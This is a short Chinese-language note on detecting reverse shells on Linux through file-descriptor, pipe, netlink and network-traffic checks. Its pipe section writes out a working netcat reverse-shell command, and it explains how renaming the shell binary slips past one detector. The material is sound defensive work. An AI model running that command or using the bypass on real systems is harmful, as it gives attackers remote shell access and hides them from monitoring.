1、進程 file descriptor 異常檢測
檢測 file descriptor 是否指向一個socket
以重定向+/dev/tcp Bash反彈Shell攻擊方式為例,這類反彈shell的本質可以歸納為file descriptor的重定向到一個socket句柄。


2、檢測 file descriptor 是否指向一個管道符(pipe)
對於利用“管道符”傳遞指令的反彈shell攻擊方式來說,這類反彈shell的本質可以歸納為file descriptor的重定向到一個pipe句柄。
nc 192.168.43.146 7777 | /bin/bash | nc 192.168.43.146 8888

不管做了多少層的pipe,反彈shell的本質是將server的輸入傳遞給client的bash,因此肯定存在socket連接。我們只需要根據pid追溯pipe上游的進程,並判斷其進程fd,檢查是否是來自一個socket。
例如,跟蹤pipe,發現pipe的進程建立了socket連接,那么就存在反彈shell的風險。
3、netlink監控+fd異常檢測
監聽Netlink Socket,實時獲取進程EXEC事件。
如果為Shell進程,檢查進程啟動打開的FD,
即當有程序打開了Socket,但是未使用/dev/tty、/dev/pts/n、/dev/ptmx等終端,則確認為反彈Shell。
github:https://github.com/zhanghaoyil/seesaw

繞過風險:僅能通過進程執行文件名判斷是否為Shell進程,上傳可執行文件、拷貝Bash文件到其他路徑等方法會繞過這個方法。
例如將/bin/sh重命名為其他名字進行反彈shell。
4、腳本文件 && 應用程序 && 無文件(fileless)反彈shell檢測
前面討論的fd監控方案,其本質都是針對”通過系統bash程序實現的反彈shell“。
但是需要注意的是,操作系統是分層的,Bash只是一個應用程序的普通應用,其內部封裝了調用glibc execve的功能而已,除了bash之外,我們還可以基於任意的應用層技術來實現反彈shell,
例如:
python/perl實現純代碼形式的反彈shell文件執行:文件腳本檢測
python/perl實現純代碼形式的反彈shell命令行指令(fileless):純命令行fileless檢測
C/C++實現純代碼形式的反彈shell:二進制文件檢測
5、網絡層反彈shell通信特征檢測
反彈shell的通信會話中,會包含一些”cmdline shell特征“,例如”#root....“等,可以在網絡側進行實時檢測。
